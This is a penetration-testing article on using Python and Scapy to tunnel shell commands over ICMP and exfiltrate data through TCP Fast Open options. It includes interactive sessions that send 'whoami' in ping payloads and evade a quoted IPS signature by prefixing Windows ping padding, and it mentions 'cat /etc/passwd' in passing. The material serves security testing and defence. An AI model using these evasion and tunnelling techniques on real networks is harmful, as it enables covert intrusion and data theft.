Practical Insider Threat Penetration Testing Cases with Scapy (Shell Code and Protocol Evasion)

Practical Insider Threat Penetration Testing Cases with Scapy (Shell Code and Protocol Evasion)

by Dennis Chow

As the penetration testing landscape evolves and morphs; everyone seems to be "hot and heavy" on app-based testing, whether this be fuzzing a thick client or an API. One of the key things I've found with many clients is that they've gone "soft" on proper insider threat hygiene starting with network security basics. In this article, I'll run through (2) scripts that I've made in Python using Scapy's framework that can help out in many use cases: red team tunneling, purple team IOC's, and general defender foundations. Let's get the housekeeping out of the way:

*Disclaimer* - The tools and methodologies shown in this article are for security enhancement needs, education, and experimental use. Do not run or perform any illegal, unethical, or otherwise troublesome activities that violate policies, compliance requirements, or legislation locally or internationally.

Why this article?: Many newer security professionals in the field start rolling their eyes, followed with deep heavy groans when I still teach red and blue teams diligence in the network security fundamentals as well. No matter what your stance on where penetration testing, red teaming, and general security ops defense tactics are going; there is no denying that the foundations almost never change. In a recent client facing engagement; a colleague (Michael LaSalvia) and myself were tasked with an on-site pen test engagement (very rare in today's remote 'only' focused type of run of the mill testing). What we found were some oversights at the network security level that our existing toolsets, and rapid Googling just did not provide. So we had to turn to making our own toolsets. This is not a full blown article on how to use Scapy, but some to show case some extended cases for using it during a pen test.

What did we find exactly?: The lowly ICMP echo/responses were able to be sent and received with lots nice error details for recon and mapping from a lower security trust zone to a higher trust zone that typically would not have access. We also discovered that despite some best in class vendor IPS firewalls between varying trust zones heavy focus on content signatures, we were able to use "old school" tunneling for ICMP, and TCP using TCP options, particularly "TCP Fast Open" (TFO). TFO, known by its other term "TCP SYN cookies" which aide in helping to track and reduce Denial of Service attacks and potentially 'speed' up web servers by allowing data to be received on a SYN initiated session early on before the hand shake. There were a multitude of other findings we had for this client; but we're going to focus on these two very practical and easy to test use cases for Scapy and Python.

When to use Scapy when there are other tools?: Using scapy is very extendable and so much more useful than meets the eye from a basic send/receive spoofed one-off packets or port checks that you know Nmap, Hping3, Netcat, and Powershell cmdlets like Test-NetConnection can do. Well, the interesting thing about all of these are they do better when you're operating on a service listening at Layer 4 and above; e.g. ports. In our own situations and testing-- we found that we could still funnel data in and out of the network even without having access to a port to shovel shell on. Now, there are other tools such as the famous ptunnel and forks of it. But finding a modern binary pre-compiled without laced malware that will unfortunately work on Windows is difficult at best. Not to mention, that tool really makes its best use with an external listener/proxy-- which we had limited access to and lots of north/south visibility on the IPS and Web Content filtering. We also had NAC in the way profiling our hosts and not giving any IP's out to any non-Windows hosts. Fun. Scapy does great in times of need when:

  • You need to have tools semi-portable between Windows and Linux using a mutual usually common trusted language like Python
  • When you need to perform actions on a per-packet-basis
  • When other tools fail or don't work right at the network level for mangling and transforms, e.g. Ettercap/Bettercap scripts (MiTM changing content/links)
  • When you need to make very specific noise on the network and need to have full control of the payload going out from your interface (you might only get one chance depending on the blue team's defenses!)

The setup so far: If you've been following closely; let's think through what we do have in our arsenal:

  • ICMP echo requests/responses (nothing else) and TCP option allowable protocol features to traverse different context network security zones. We're also limited egress wise and between network zones on specific ports that can be traversed to.
  • Limited access to the network as a whole due to NAC profiling for OS and other components with soft agents. So we're stuck with having to use Windows boxes for this particular segment of the test.
  • The higher security zone holds corporate employees and other fun items. The lower security zone of the network allows for general visitors to gain Internet access for basic surfing, email, and social media.

Yawn! Get to the good stuff: Introducing some quick scripts created by yours truly-- ICMP-bindshell and TCPOptionsDataExfil both made in Python 3.x using the Scapy framework and Windows 10 friendly.

ICMP-Bindshell is essentially just a listener that you can send commands to it and it'll run on the target or victim host. Why use this? Well, in our case we had icmp access not from the higher trusted zone -> lower trusted zoneBut the actual reverse-- a lower trusted zone could ICMP ping and get responses including port and host prohibited administrative messages to the higher trusted zone. We assume this was an oversight; but it was a blessing for us. We could now map out the network and figure out what ports might be open and listening on endpoint hosts versus those blocked by the IPS or firewall. This is perfect when for an insider threat or a drop-in device to set in a higher-trusted zone and allow for guest traffic to pivot or use that host as anything they really want. ICMP tunneling when properly combined with denying the echo replies can keep traffic under the radar. There are times where you may want to allow certain payloads as a buffer prefix or to allow echo replies so that an IPS might understand that it isn't tunneling because it saw the echo request and response when you spoof the sequence ID numbers.

For example, windows ping by default will use the following string "abcdefghijklmnopqrstuvwabcdefghi" (capture partially redacted so it can align easily):

0020   00 00 00 00 00 00 00 00 91 61 62 63 64 65 66   .2..T.....abcdef
0030   67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76   ghijklmnopqrstuv
0040   77 61 62 63 64 65 66 67 68 69     

By default, if you're building a single one-off packet you're going to be doing something like this (even in Windows). Once you have Python and scapy installed open up your cmd.exe prompt into Scapy interactive mode and feel free to follow along. Note: We're using Windows 10 with Scapy 2.4.x from the 'pip install scapy' use AFTER you install Python 3.x 64 bit. So let's take a look at our first Scapy packet emulating an ICMP ping (echo request)

>>> sendpkt = IP(dst="")/ICMP(type=8)
>>> sendpkt
<IP  frag=0 proto=icmp dst= |<ICMP  type=echo-request |>>
>>> sr1(sendpkt)
Begin emission:
Finished sending 1 packets.
Received 4 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x20 len=28 id=0 flags= frag=0 ttl=54 proto=icmp chksum=0x9fd7 src= dst= |<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>

Note that we're building a basic easy header with basic information. Scapy does the rest at the lower levels using our MAC addresses, Same Source IP. So, to keep this in mind, nothing was spoofed. The example here uses "" which is one of Google's DNS servers open to the public. Notice our meta-summary information there's basic padding and the interesting thing we see is our default TTL is different, much closer to 64 initially vs. the standard 128 for Windows. There's also, as you can see-- no payload! You can verify this by running the ls(sendpkt) command. The ls() function will take your packet's name that we just assigned "sendpkt". Looks nothing like a Windows ping/response at all.

That's one thing to keep in mind with any ICMP tunneling-- use your discretion on how you wish to evade any tunneling detection depending on the controls you may have already emulated, guessed, or you can even self-test these using Snort, Suricata, or other tools listening on the same interface as your malicious traffic.

So, with the basic evasion "gotcha" out of the way. Let's go ahead and use the ICMP Bind Shell script. Feel free to run it on your own. The there is only (1) script and it is set as the "listener". This is the victim where you want to 'reach out to' and run shell commands on. In our case, this was a higher zoned insider threat host that can be pivoted from a lower trusted zone. Let's build the command or packet that we wish to use in the clear.

**Note on evasion: I did not build in any form of encryption or encoding. Feel free to make your own extension to my base function to decode/decrypt if you don't want to get any standard clear-text signature content caught in an IPS. To demonstrate this problem, observe the following:

>>> command="whoami"
>>> sendpkt = IP(dst="")/ICMP(type=8)/Raw(load=command)
>>> sendpkt
<IP  frag=0 proto=icmp dst= |<ICMP  type=echo-request |<Raw  load='whoami' |>>>

We've crafted a raw standard ASCII payload and attached it to our packet. Great, let's send it at L3 so Scapy sets all the default fields so it doesn't get dropped immediately at the stack-- but oh no, we're immediately blocked by our own north/south IPS and its apparently in the logs:

<IP  frag=0 proto=icmp dst= |<ICMP  type=echo-request |<Raw  load='whoami' |>>>
>>> sr1(sendpkt, timeout=3)
Begin emission:
Finished sending 1 packets.
Received 4 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x20 len=34 id=0 flags= frag=0 ttl=54 proto=icmp chksum=0x9fd1 src= dst= |<ICMP  type=echo-reply code=0 chksum=0xabcc id=0x0 seq=0x0 |<Raw  load='whoami' |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>
>>> sr1(sendpkt, timeout=3)
Begin emission:
Finished sending 1 packets.
Received 10 packets, got 0 answers, remaining 1 packets

So we examine that we use sr1 to send and receive an answer. 1 packet got through and then when we run it again, we're shut off.

ET TROJAN Possible ICMP Backdoor Tunnel Command - whoami - 03/15/2020-06:38:10

alert icmp any any -> any any (msg:"ET TROJAN Possible ICMP Backdoor Tunnel Command - whoami"; itype:8; icode:0; content:"whoami"; depth:6; nocase; metadata: former_category TROJAN; reference:url,; classtype:trojan-activity; sid:2027763; rev:1; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, signature_severity Major, created_at 2019_07_29, performance_impact Moderate, updated_at 2019_07_29;)

When examining the rule it's looking for that content within a max depth of 6 bytes in the payload. While ICMP-bindshell tool will not do this for you (doesn't mean you can't build it in yourself!) You can always modify your original payload of "whoami" by adding extra meta characters such as the null "\x00" or even better, mask it as "abcdefghijklmnopqrstuvwabcdefghi" as a prefix prior to your 'actual' payload and you may have another way of bypassing a basic signature, assuming pre-processors don't kick in. So your new payload might look like the following:

>>> command
>>> command = "abcdefghijklmnopqrstuvwabcdefghi" + " whoami"
>>> command
'abcdefghijklmnopqrstuvwabcdefghi whoami'
>>> sendpkt = IP(dst="")/ICMP(type=8)/Raw(load=command)
>>> sendpkt
<IP  frag=0 proto=icmp dst= |<ICMP  type=echo-request |<Raw  load='abcdefghijklmnopqrstuvwabcdefghi whoami' |>>>
>>> sr1(sendpkt, timeout=3)
Begin emission:
Finished sending 1 packets.
Received 4 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x20 len=67 id=0 flags= frag=0 ttl=54 proto=icmp chksum=0x9fb0 src= dst= |<ICMP  type=echo-reply code=0 chksum=0x208 id=0x0 seq=0x0 |<Raw  load='abcdefghijklmnopqrstuvwabcdefghi whoami' |>>>
>>> sr1(sendpkt, timeout=3)
Begin emission:
Finished sending 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x20 len=67 id=0 flags= frag=0 ttl=54 proto=icmp chksum=0x9fb0 src= dst=|<ICMP  type=echo-reply code=0 chksum=0x208 id=0x0 seq=0x0 |<Raw  load='abcdefghijklmnopqrstuvwabcdefghi whoami' |>>>

Now we're getting somewhere. Our north/south IPS doesn't block us because we appended the famous windows string in front. Now it's your turn; feel free to experiment with the ICMP-bindshell tool and get tunneling!

No alt text provided for this image

What next?: Next up, we have TCPOptionsDataExfil which isn't so much shell code (although you could turn it into a C2 channel if you so desire or extend). This tool has a client (sender) and a listener (receiver). I've made them interactive so you can just worry about using the tool and seeing how the TFO feature can be used for tunneling data or shell out to a malicious regardless if the malicious host has a port open or not. Now remember, the firewall or egress policy still requires you to actually get a route 'OUT' to the host. But you don't have to expose yourself using a traditional metasploit multi/handler and begin port forwarding everything. You can rely on BPF rules that you can set yourself in the tool for lockdown.

In our case, we used it (*a private extended version of the one I've made public, sorry script kiddies :-) ) to tunnel data out and C2 as an alternate channel since the lower trusted security zone still goes through a web content filter. We spun up common instances of our listener on services such as Google Cloud Platform (GCP), Azure, and Amazon EC2 as those are commonly trusted FQDN's and IP's usually whitelisted for today's modern hybrid network. So, with the same python and scapy combo we fired up out in our VPS and then setup the script exfil our data (in the clear for the public edition) using ONLY a TCP option. We did add an extra "null" "\0x00" byte at the payload towards the end just to give it something more than a 0 byte payload.

In the interactive session screens below you can see that we use basic test data and have played around with the Scapy tuple requirements in how Python sets up and uses lists for TCP Options.

I won't waste time explaining how you should use the server/client. It's interactive, follow the readme and you should be fine. The screenshot is fairly self explanatory; using TCP syn cookies to closed port of 8000 we were able to send the data stream we wanted out and of course in Python, redirecting standard out in an interactive session is more irritating than a standard ">> /tmp/foo.txt" shell script. The file is appending to the system path you define when you run the tool.

Thanks for the scripts-- but I still can't use Scapy for more than the interactive session. What features are you finding useful or Python constructs would help me? -- This is probably the hardest part of any engineer. You're going to have to build your needs on the fly in some cases. But here are some helpful points to help you maximize your usage of Scapy beyond sending a couple of packets:

  • When using the sniff() function-- you can combine it with the "prn=" argument. This allows you to create your own function in Python that scapy calls on a per packet basis. Combine it with the filter argument and the count argument and you can really control what traverses the wire including mangling and man-in-the-middle applications as some of you might've seen in the GXPN (SEC 660)
  • If you're new to Python, I recommend starting with 3.x because it enforces more 'structure' and is the new long term support standard. For your basic loops and conditional statements; nothing really changes. One of the things I had a hard time dealing with is the Python constructs and how people 'named' things in their varying scripts. One thing to consider is that you can assign any object a "value". That value is like the 'back tick' of executing a shell command inside a variable like Bash e.g. $foo = `cat /etc/passwd` , and if you echo $foo it should give you the content results. This is the same in Python, esp. when you use Scapy's functions e.g. (send, sendp, sr1, sr0, etc.) Once you set that ans, unans = sr1(blah blah) -- it's going to execute it. So don't set any objects in interactive mode unless you're ready for it to execute and obtain the value instantly. Also remember, that indention hierarchy are a must for all conditional statements, functions, and loops.
  • Another Python tip is how people define functions. You don't have to be a math wizard to create a function. A function can have multiple functions nested inside like our tools, and combined with if/else conditional statements. Remember that the order of variables visible to each function is based on top-down hierarchy scope if you're thinking about it from a start to stop script. Programmers will hate me for using that analogy and definition as there's local, global, etc. But it just makes easier to understand for general "script" minded people. Next, often you'll see a "return" statement or not with a function. A return statement simple gives you back a value at the end of the execution of that function. So if you want the function to give you some output into a variable after you call the function you use a return statementFor example:
#Python my first function example

>>> nslookup
  File "<stdin>", line 1
SyntaxError: invalid syntax

#uh oh, can't directly make a external program call easily hmm...

#lets use a function so I can get on with my day and 'cheat' using external calls while scripting other stuff in Python

import os, sys

>>> os.system("nslookup")




#Hey now we're getting somewhere! That was annoying to type and I don't just want to lookup DNS, I it to also ping and tell me what my host IP was again in the return. Here we go!

#default libraries import in Python natively
import os,sys
#lets grab something interactively from user and make it a string type
hostinput = str(input("put in an IP or FQDN: "))

#create our own function and only return the value of calcfoo 
def chowrecon(arg1):
	os.system("nslookup" + ' ' + arg1)
	os.system("ping" + ' ' + arg1)
	calcfoo = ("return something to stdout: " + arg1)
	return calcfoo

#run the function and assign it to a variable
foo = chowrecon(hostinput)

#you've got to print the returned value 

*Note: I've setup the function is a very particular way. Notice how it only returned ONE output. You can only specify one argument/variable that the function is supposed to run. If you also notice closely, return is only capturing my echo of 'return something to standard out with the hostname after the function is finished running. This is important to note that os.system did not return the values of the function to the original caller. OS.System by default uses standard out and that's it. If you need it redirected elsewhere you need to use something like check_output or os.popen. Popen() is more forgiving than check_output() as an error raised via check_output() will stop the Python script and Popen() does not.


I hope you enjoyed seeing the use cases of Scapy and Python to maximize your ROI during a pen test engagement or whichever sec ops function you decide to pursue. While I enjoyed my weekend project of creating these scripts and tutorials. I'm still more of a Powershell fan and only wish Scapy ported to PowerShell (perhaps one day).

Drop me a line and let me know what you thought of this article and the tools!


Chief Information Security Officer of SCIS Security

The article was originally published at:


March 19, 2020
Notify of

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Inline Feedbacks
View all comments

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013